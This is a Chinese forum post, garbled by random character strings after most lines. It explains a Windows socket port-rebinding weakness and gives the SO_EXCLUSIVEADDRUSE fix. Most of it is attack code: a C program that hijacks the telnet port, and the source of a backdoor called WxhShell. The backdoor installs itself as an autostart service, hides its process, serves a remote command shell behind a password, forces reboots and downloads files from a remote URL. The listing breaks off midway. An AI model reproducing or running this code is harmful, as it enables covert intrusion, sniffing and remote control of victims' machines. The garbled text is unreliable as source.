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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z xLjh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t#~r'5va  
c@:r\]  
  saddr.sin_family = AF_INET; G|yX9C]R   
5f7;pS<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oq=D9  
YZf<S:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bv>;%TF  
h%(dT/jPL)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E) >~0jv  
_tL*sA>[~)  
  这意味着什么?意味着可以进行如下的攻击: ]6</{b  
gqJ&Q t#f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~ @Ib:M  
(^Xp\dyZL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8UoMOeI3  
q,2]]K7y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fSl+;|K n  
e%j+,)Ry  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +M (\R?@gr  
F$ x@ ]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s=d?}.E$  
1";~"p2(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  I&v B\A  
 z7K?rgH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 IR>K ka(B  
=DCQ!02  
  #include |/s.PNP2  
  #include RS:0xN\JN  
  #include Y.73I83-j  
  #include    vbFAS:Y:+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   BNByaC  
  int main() ,S8Vfb &  
  { lfKknp#B/O  
  WORD wVersionRequested; tb i;X=5  
  DWORD ret; e,x@?L*  
  WSADATA wsaData; FFkG,XH  
  BOOL val; :vr,@1c  
  SOCKADDR_IN saddr; f^]AyU;F:  
  SOCKADDR_IN scaddr; z~BB|-kp1  
  int err; 7q?Yd AUz  
  SOCKET s; m<yA] ';s  
  SOCKET sc; lz*PNT{E  
  int caddsize; yO6i "3  
  HANDLE mt; wiVQMgi`  
  DWORD tid;   W@G[ gS\T  
  wVersionRequested = MAKEWORD( 2, 2 ); GWW@8GNI  
  err = WSAStartup( wVersionRequested, &wsaData ); Dux`BKl  
  if ( err != 0 ) { %pt $S~j  
  printf("error!WSAStartup failed!\n"); GWhZ Mj  
  return -1; UqHOS{\Sz  
  } j@ "`!uPz  
  saddr.sin_family = AF_INET; wv7jh~x(4  
   D;L :a`Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 </%H'V@  
79V5{2Y*U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N!v@!z9Mu  
  saddr.sin_port = htons(23); 4A&e+kz&:R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5B2,=?+o  
  { Fv: %"P^  
  printf("error!socket failed!\n"); xo%iL  
  return -1; xsvs3y|  
  } G225Nz;Y*  
  val = TRUE; Mz^s^aJEE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >R: +ml  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D7. P  
  { ~Qsj)9  
  printf("error!setsockopt failed!\n"); oD7H6\_  
  return -1; HLk"a-+'  
  } ""+*Gn 7^8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s`J=:>9*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ob7_dWAG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >(rB[ZJ  
d{hYT\7~1(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v(h Xk]S  
  { ;40m goN  
  ret=GetLastError(); !VHIl&Mos  
  printf("error!bind failed!\n"); ]mj+*l5  
  return -1; /RC!Yi  
  } 9/M!S[N9  
  listen(s,2); w3N%J>4_E  
  while(1) 0q>lW &J  
  { EAB+kY  
  caddsize = sizeof(scaddr); b1u'ukDP\  
  //接受连接请求 xW9 s[X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ehusI-q  
  if(sc!=INVALID_SOCKET) \Sby(l  
  { zrO|L|F&P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q/n.T0Z ^  
  if(mt==NULL) KaE;4gwM  
  { -C}59G8  
  printf("Thread Creat Failed!\n"); _0["J:s9  
  break; $tHwJ!<$&  
  } J_|}Xd)~t6  
  } Vk_&W.~  
  CloseHandle(mt); &i^NStqu  
  }  &n.uNe  
  closesocket(s); ]~Vu-@ /}  
  WSACleanup(); SWsv,  
  return 0; 0r ; nz]'  
  }   K=?F3tX^  
  DWORD WINAPI ClientThread(LPVOID lpParam) W+ '}O<  
  { 6xIYg^  
  SOCKET ss = (SOCKET)lpParam; %OW9cqL>l  
  SOCKET sc; ONq/JW$?LV  
  unsigned char buf[4096]; B;]5,`#!  
  SOCKADDR_IN saddr; bM0[V5:jB  
  long num; K_|~3g  
  DWORD val; ~!-8l&C  
  DWORD ret; j~S!!Z ]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ';\gR/L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~1r*/@M[V  
  saddr.sin_family = AF_INET; T5jG IIa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '#i]SU&*  
  saddr.sin_port = htons(23); s!/holu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $%%>n ^??  
  { d<Q+D1  
  printf("error!socket failed!\n"); 1|WpKaMoq  
  return -1; a!y,!EB+Qu  
  } ^GrkIh0nL  
  val = 100; z2Y_L8u2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?)[zLnxc&  
  { zt[4_;2Y  
  ret = GetLastError(); ,J (5@8(>a  
  return -1; $#7J\=GZ+  
  } b;J0'o^G|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q P=[ Vw  
  { TG63  
  ret = GetLastError(); B>|U-[A  
  return -1; ,M@m4bx  
  } Cj !i)-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j[/SXF\=  
  { FQ^<,  
  printf("error!socket connect failed!\n"); du'}+rC  
  closesocket(sc); %O&m#)|  
  closesocket(ss); C^,4`OI  
  return -1; xQ#Akd=  
  } ,%?; \?b%h  
  while(1) ;c X^8;F0  
  { -4vHK!l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Oj"pj:fB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i.&Kpw9;m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :m* !?QGdL  
  num = recv(ss,buf,4096,0); [ZKtbPHb  
  if(num>0) Txt%nzIu  
  send(sc,buf,num,0); E/~"j  
  else if(num==0) @.Z[M  
  break; nIyROhZ  
  num = recv(sc,buf,4096,0); cuQ7kECV  
  if(num>0) "%oH@ =  
  send(ss,buf,num,0); d; mmM\3]  
  else if(num==0) %tzN@  
  break; ~?AC:  
  } K0 O-WJ  
  closesocket(ss); ;wJ7oj<  
  closesocket(sc); 5\akI\  
  return 0 ; /nC{)s?S'  
  } xb =8t!  
R`@8.]cpPy  
$` Z>Lm*  
========================================================== tt6. jo  
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下边附上一个代码,,WXhSHELL });cX$  
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========================================================== '}jf#C1$c  
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#include "stdafx.h" zmrQf/y{R  
(KT38RhA  
#include <stdio.h> )XLj[6j0  
#include <string.h> )-bD2YA{  
#include <windows.h> wGEWr2$  
#include <winsock2.h> Nb~,`bu,2  
#include <winsvc.h> 5f;n<EP y  
#include <urlmon.h> e >L5.~i  
W(;x\Nc7  
#pragma comment (lib, "Ws2_32.lib") S~+O` y^  
#pragma comment (lib, "urlmon.lib") 5;IT64&]  
,>D ja59  
#define MAX_USER   100 // 最大客户端连接数 F>(qOH.I  
#define BUF_SOCK   200 // sock buffer <Q2u)m'  
#define KEY_BUFF   255 // 输入 buffer ]i-P-9PA4  
3p:=xL  
#define REBOOT     0   // 重启 {eEBrJJeB  
#define SHUTDOWN   1   // 关机 =WIE>*3[  
Y\.-v\uJu  
#define DEF_PORT   5000 // 监听端口 "6?lQw e  
&Fw[YGJayz  
#define REG_LEN     16   // 注册表键长度 K@B" ]6  
#define SVC_LEN     80   // NT服务名长度 r eGm>  
<f%ujrX  
// 从dll定义API dZPW2yf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }1 $hxfb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AT"!{Y "H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j:7* 3@f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 59V#FWe-  
}$l8d/_$[  
// wxhshell配置信息 1o8wy_eSs  
struct WSCFG { Vzpt(_><  
  int ws_port;         // 监听端口 J0=7'@(p  
  char ws_passstr[REG_LEN]; // 口令 *P`v^&  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2z4<N2! M  
  char ws_regname[REG_LEN]; // 注册表键名 k^z0Lo|)'  
  char ws_svcname[REG_LEN]; // 服务名 " jT#bIm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :pRF*^eU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z.quh;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X2qv^G,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uKv&7p@|_)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :Zza)>l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %;7.9%  
W;4Lkk$  
}; ;+sl7qlA4  
y,Jh@n';|  
// default Wxhshell configuration [u`6^TycP  
struct WSCFG wscfg={DEF_PORT, ^5>s7SGB"  
    "xuhuanlingzhe", yMb|I~k  
    1, BWh }^3?l  
    "Wxhshell", qe?Qeh(!X  
    "Wxhshell", X1oGp+&  
            "WxhShell Service", zN%97q_  
    "Wrsky Windows CmdShell Service", # Q}_e7t  
    "Please Input Your Password: ", ND5$bq Nu?  
  1, w d/G|kNO  
  "http://www.wrsky.com/wxhshell.exe", Ry?4h\UX5  
  "Wxhshell.exe" kx:jI^  
    }; f8=]oa]  
'f+NW &   
// 消息定义模块 pLnB)z?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?DPHo)w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?sXG17~Bm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'Dath>Y=  
char *msg_ws_ext="\n\rExit."; EiWd+v,QJQ  
char *msg_ws_end="\n\rQuit."; ^ q?1U?4  
char *msg_ws_boot="\n\rReboot..."; yS!(Ap  
char *msg_ws_poff="\n\rShutdown..."; io.]'">  
char *msg_ws_down="\n\rSave to "; ?'eq",c#4N  
"UG K8x  
char *msg_ws_err="\n\rErr!"; o_f-GO  
char *msg_ws_ok="\n\rOK!"; <^8*<;PaG  
T_LLJ}6M  
char ExeFile[MAX_PATH]; ~jN'J+_$  
int nUser = 0; GS;%zdH~  
HANDLE handles[MAX_USER]; $i#?v  
int OsIsNt; };b1ahaG  
_Zc4=c,K  
SERVICE_STATUS       serviceStatus; }Cj8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mrM4RoO  
/[=E0_t+  
// 函数声明 |quij0_'e  
int Install(void); `)K y0&?  
int Uninstall(void); z wk.bf>m  
int DownloadFile(char *sURL, SOCKET wsh); MsOs{2 )2  
int Boot(int flag); </[: 9Cl  
void HideProc(void); j}f[W [2  
int GetOsVer(void); !yJICjXj  
int Wxhshell(SOCKET wsl); pHC /(6?  
void TalkWithClient(void *cs); !<<AzLVL  
int CmdShell(SOCKET sock); [ MyE2^  
int StartFromService(void); e,0-)?5R  
int StartWxhshell(LPSTR lpCmdLine); $_Nf-:D*  
{ci.V*:"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &7>zURv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O.QK"pKD\  
F<|t\KOW  
// 数据结构和表定义 @'6"7g  
SERVICE_TABLE_ENTRY DispatchTable[] = C! 9}  
{ )[Z!*am  
{wscfg.ws_svcname, NTServiceMain}, L]%l51U  
{NULL, NULL} !t#F/C  
}; (?0`d  
pG3k   
// 自我安装 /F)H\*  
int Install(void) kz} R[7  
{ jgv`>o%<W  
  char svExeFile[MAX_PATH]; u]*0;-tz  
  HKEY key; i3$$,W!  
  strcpy(svExeFile,ExeFile); YJV%a  
0RFRbi@n(  
// 如果是win9x系统,修改注册表设为自启动 Xf[kI  
if(!OsIsNt) { }<a^</s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [iP#VM-N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p'_%aVm7  
  RegCloseKey(key); OHv!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V!_71x\-Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $sHP\{  
  RegCloseKey(key); QS[L~97m2M  
  return 0; zAzP,1$?  
    } RE2&mYt  
  }  as yZe  
} ^TY ;Zp  
else { : rMM4  
i%m"@7.kk  
// 如果是NT以上系统,安装为系统服务 tJViA`@x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s$ENFp7P  
if (schSCManager!=0) F,BOgWwP  
{ l e4?jQQ@L  
  SC_HANDLE schService = CreateService }@ Z56  
  ( N["W I r  
  schSCManager, 8Me:Yp_Xt  
  wscfg.ws_svcname, \wcam`f  
  wscfg.ws_svcdisp, JF&$t}  
  SERVICE_ALL_ACCESS, }o4N<%/+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &Mq~T_S  
  SERVICE_AUTO_START, i':ydDOOHA  
  SERVICE_ERROR_NORMAL, e}/Lk5q!  
  svExeFile, MTg:dR_  
  NULL, #6Fez`A  
  NULL, LEMfG~Czq  
  NULL, -}O1dEn.  
  NULL, voP7"Dl[  
  NULL )'17r82a  
  ); "k*PA\U  
  if (schService!=0) IG)s^bP  
  { +/,icA}PI  
  CloseServiceHandle(schService); kpL@P oQ/r  
  CloseServiceHandle(schSCManager); \$0F-=w`8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {!6/x9>  
  strcat(svExeFile,wscfg.ws_svcname); 5;0g!&-t#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dd;Nz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1) ta  
  RegCloseKey(key); 7+X:LA~U  
  return 0; I2nF-JzD2a  
    } 6"Bic rY  
  } ~\{^%~[48  
  CloseServiceHandle(schSCManager); 2gO2jJlv  
} S*j6OwZ  
} u[nyW3MZ  
/}Jj  
return 1; nKW*Y}VO  
} Ee`1F#c  
XGP6L0j  
// 自我卸载 =FE|+!>PA  
int Uninstall(void) $)3%U?AP  
{ K>*a*[t0Sy  
  HKEY key; nX$XL=6mJ&  
fS~;>n%R  
if(!OsIsNt) { 626Z5Afg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sB;@>NY  
  RegDeleteValue(key,wscfg.ws_regname); ZPbpp@,  
  RegCloseKey(key); z9aY]lHY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LpR3BP@At  
  RegDeleteValue(key,wscfg.ws_regname); 0eK*9S]  
  RegCloseKey(key); ByCnD  
  return 0; _YcA+3ZL  
  } V<Z[ nq  
} aN"DkUYZM  
} 5 ~TdD6}  
else { ~gGZmT b  
bV ZMW/w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4;2< ^[M  
if (schSCManager!=0) X7s `U5'l  
{ 4~B> 9<$e>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G "73=8d  
  if (schService!=0) =JJL[}a|  
  { dd]/.Z  
  if(DeleteService(schService)!=0) { xQUu|gtL4  
  CloseServiceHandle(schService); "HPB!)C8(  
  CloseServiceHandle(schSCManager); `ho1nY$)CE  
  return 0; o865 (<p  
  } {GC?SaK  
  CloseServiceHandle(schService); ,_Z+8  
  } aG^4BpIP  
  CloseServiceHandle(schSCManager); 'Fmvu   
} TYy.jFT-  
} `QXErw  
Rz.?i+  
return 1; ~JaAii{  
} 3`k;a1Z#O'  
';<0/U  
// 从指定url下载文件 ONe# rKJ_  
int DownloadFile(char *sURL, SOCKET wsh) ,lyb!k8  
{ ['T:ea6B  
  HRESULT hr; P'`r  
char seps[]= "/"; XHK70: i  
char *token; 1R,:  
char *file; |9B.mBoX  
char myURL[MAX_PATH]; 5F~'gLH/F-  
char myFILE[MAX_PATH]; RO.k]x6  
^Y'HaneoM  
strcpy(myURL,sURL); _ ]Z s,Hy  
  token=strtok(myURL,seps); _ A=$oVe  
  while(token!=NULL) .,OVzW  
  { l?Ya"C`FL  
    file=token; {HCz p,Y  
  token=strtok(NULL,seps); f`[R7Q5  
  } v&=gF/$  
f\jLqZY  
GetCurrentDirectory(MAX_PATH,myFILE); + ~>Aj  
strcat(myFILE, "\\"); A -b [>} _  
strcat(myFILE, file); yr lf+tl  
  send(wsh,myFILE,strlen(myFILE),0); gntxNp[9T  
send(wsh,"...",3,0); {QwHc5Bf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *" {lMZ +  
  if(hr==S_OK) ihfiK|a  
return 0; HBMhtfWW  
else 'JRvP!]  
return 1; (Kv#m 3~  
jJ5W>Q1mK$  
} 7D;cw\ |  
|b)Y#)C;  
// 系统电源模块 ]4pkcV P  
int Boot(int flag) LS917ci-  
{ XR;eY:89  
  HANDLE hToken; v^1pN>#%g  
  TOKEN_PRIVILEGES tkp; SF>c\eTtx  
&8vCZN^  
  if(OsIsNt) { Y$?9Zkp>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s[w6FXt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "\3B^ e,  
    tkp.PrivilegeCount = 1; -$dXE+&   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sk=-M8;\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )s%[T-uKi  
if(flag==REBOOT) { 3G(miP6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yc?a=6q'm  
  return 0; %'X[^W  
} Np"exFqN k  
else { L2[f]J%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z7=`VNHc  
  return 0; lx[oaCr  
} `0Oh_8"  
  } "CI=`=  
  else { r(RKwr:m  
if(flag==REBOOT) { ,f[>L|?e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d2H|LMhJ  
  return 0; R5X.^u  
} Yi$vg  
else { -De9_0#R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !X;1}  
  return 0; TzNn^ir=HX  
} YJJB.hR+  
} 5 4L\Jx  
osX8eX]\  
return 1; V7Ek-2M  
} fmb} 2h  
V0P>YQq9s  
// win9x进程隐藏模块 ^h"`}[+  
void HideProc(void) v5QqS8u_C  
{ SV~cJ]F  
.K p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fd[zDz  
  if ( hKernel != NULL ) K otrX  
  { d\jPdA.a=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FXi{87F2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f (F)1  
    FreeLibrary(hKernel); k[:bQ)H  
  } ,v';>.]  
8&)DE@W  
return; 4<lRPsvgc  
} LQngK7>  
rjp-Fw~1w  
// 获取操作系统版本 mg$]QnbAnH  
int GetOsVer(void) 2gCX}4^3b  
{ K"4>DaK2P  
  OSVERSIONINFO winfo; BA%pY|"Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]y1OFKYv  
  GetVersionEx(&winfo); L>SjllY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'i4_`^:+  
  return 1; 2&^]k`Aj6D  
  else 'VlDh`<W  
  return 0; :"xzj<(  
} =1Oj*x@*4  
|ayVjqJ*  
// 客户端句柄模块 'Pn3%&O$  
int Wxhshell(SOCKET wsl) |Y[wzDYV  
{ Pl"Nus   
  SOCKET wsh; A<qTg`gA  
  struct sockaddr_in client; pJt,9e6  
  DWORD myID; .7.b :Dn0  
EB2!HpuQ3  
  while(nUser<MAX_USER) (<}&DE  
{ c%'RR?Tl  
  int nSize=sizeof(client); 3P^sM1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9&` 2V  
  if(wsh==INVALID_SOCKET) return 1; 49dd5ddr  
[5+}rwm&W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zy(W^~NT  
if(handles[nUser]==0) MdLj,1_T  
  closesocket(wsh); P1$f}K}  
else JL@F~U9  
  nUser++; X#VEA=4{  
  }  KvGbDG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0xv\D0  
9-B@GFB;8  
  return 0; n>n"{!  
} EVWA\RO'\  
miPmpu!  
// 关闭 socket 8`a,D5U:  
void CloseIt(SOCKET wsh) S3;lKr  
{ wI*Y{J  
closesocket(wsh); @ozm;  
nUser--; q Z#!CPHS  
ExitThread(0); :sFo  
} f;R>Pr;rD  
fD0{ 5  
// 客户端请求句柄 .6LS+[  
void TalkWithClient(void *cs) Il|GCj*N  
{ ^[0" vtb  
8*vFdoE_oO  
  SOCKET wsh=(SOCKET)cs; li@k Lh  
  char pwd[SVC_LEN]; |l$ u<3  
  char cmd[KEY_BUFF]; f]c <9Q>*  
char chr[1]; QJQJR/g  
int i,j; D_Guc8*  
>cTjA):  
  while (nUser < MAX_USER) { R^uc%onP  
\` &ej{  
if(wscfg.ws_passstr) { Bf/ |{@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1PmX." a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k2pT1QZnt  
  //ZeroMemory(pwd,KEY_BUFF); :fhB*SYK  
      i=0; *aI~W^N3  
  while(i<SVC_LEN) { 3XnE y +  
# 9V'';:  
  // 设置超时 Y!F!@`%G  
  fd_set FdRead; 'bl%Y).9w  
  struct timeval TimeOut; lz- iCZ  
  FD_ZERO(&FdRead); 2av*o~|J*:  
  FD_SET(wsh,&FdRead); Zct!/u9 Q  
  TimeOut.tv_sec=8; 9+t =|  
  TimeOut.tv_usec=0;  K,6OGsh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C]M7GHe1q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &"xQ~05  
>C:If0S4X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %oR>Uo  
  pwd=chr[0]; (NPxab8e*  
  if(chr[0]==0xd || chr[0]==0xa) { @FU~1u3d  
  pwd=0; / xs9.w8-  
  break; ERp{gB2U?  
  } h>| g2h  
  i++; N70zjy4?fL  
    } n?}5!  
jK e.gA  
  // 如果是非法用户,关闭 socket _%;M9Sg3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,b4g.CV  
} ?@>;/@  
*CzCUu:%t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  ; HP#bx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xuF5/(__  
g [AA,@p+  
while(1) { j!7Qw 8  
ZRPE-l_3:  
  ZeroMemory(cmd,KEY_BUFF); my4\mi6P  
S{- f $Q*  
      // 自动支持客户端 telnet标准   &/iFnYVhy  
  j=0; d[S#Duz<&  
  while(j<KEY_BUFF) { ETe-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "U*5Z:8?9  
  cmd[j]=chr[0]; YroNpu]s  
  if(chr[0]==0xa || chr[0]==0xd) { g1ytT%]  
  cmd[j]=0; dGU8+)2cn  
  break; K0v.3  
  } ?3Pazc]+|  
  j++; JA< :K0  
    } jAZ >mo[  
H}B2A"  
  // 下载文件 A*Rn<{U  
  if(strstr(cmd,"http://")) { ZJ9x6|q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ox~ 9_d  
  if(DownloadFile(cmd,wsh)) l0. FiO@_Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); # 3.\j"b  
  else z(rK^RT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h07eE g  
  } /7x\;&bc  
  else { Hg aZbb>'  
^j[Ku  
    switch(cmd[0]) { X5 j=C]  
  ifvU"l  
  // 帮助 GZ"&L?ti  
  case '?': { ydB$4ZB3[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )d:K:YXt  
    break; zA,/@/'(  
  } s%^o*LQ|9  
  // 安装 (![t_r0  
  case 'i': { Ox|TMSb^  
    if(Install()) _0.pvQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >(OYK}ZN  
    else HS7_MGU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Co[n--@C  
    break; Tt%}4{"  
    } -,|ha>r  
  // 卸载 -Uri|^t  
  case 'r': { ZL=N[XW4'  
    if(Uninstall()) -~\f2'Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L{<7.?{Y  
    else j %H`0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <XvYa{t]{  
    break; JtFiFaCxY  
    } S~> 5INud  
  // 显示 wxhshell 所在路径 xD4$0Ppu  
  case 'p': { # ) `\!)?  
    char svExeFile[MAX_PATH]; IkU|W3Vo  
    strcpy(svExeFile,"\n\r"); KJdz v!l=  
      strcat(svExeFile,ExeFile); ;:T9IL  
        send(wsh,svExeFile,strlen(svExeFile),0); .&PzkqWZ  
    break; VAs ( .y  
    } Y1WHy *s?  
  // 重启 ^SAq^3^P!  
  case 'b': { @/ k x er  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ULIFSd Y  
    if(Boot(REBOOT)) gB >pd?d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H]]c9`ayt  
    else { ;iQp7aW{$  
    closesocket(wsh); 5 < GDW=  
    ExitThread(0); *i@T!O(1)M  
    } ED/FlL{  
    break; y1#O%=g  
    } \lW_f{X)  
  // 关机 7`dY1.rq  
  case 'd': { _ eiF@G  
